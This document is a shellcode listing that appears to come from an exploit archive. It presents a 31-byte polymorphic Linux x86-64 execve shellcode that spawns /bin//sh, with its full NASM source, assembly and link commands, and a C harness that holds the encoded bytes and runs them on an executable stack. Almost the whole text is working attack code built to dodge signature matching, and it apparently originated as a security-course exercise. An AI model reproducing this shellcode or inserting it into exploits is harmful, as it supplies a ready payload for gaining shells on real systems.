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Linux/x86-64 - Polymorphic execve Shellcode (31 bytes)
[/*
;Title: polymorphic execve shellcode
;Author: d4sh&r
;Contact: https://mx.linkedin.com/in/d4v1dvc
;Category: Shellcode
;Architecture:linux x86_64
;SLAE64-1379
;Description:
;Polymorphic shellcode in 31 bytes to get a shell
;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux
;Compilation and execution
;nasm -felf64 shell.nasm -o shell.o
;ld shell.o -o shell
;./shell
global _start
_start:
mul esi
push rdx
mov al,1
mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh
rol rbx,24
shr rbx,1
push rbx
lea rdi, [rsp] ;address of /bin//sh
add al,58
syscall
*/
#include<stdio.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";
main()
{
int (*ret)()=(int(*)()) code;
ret();
}
# 0day.today [2024-11-15] #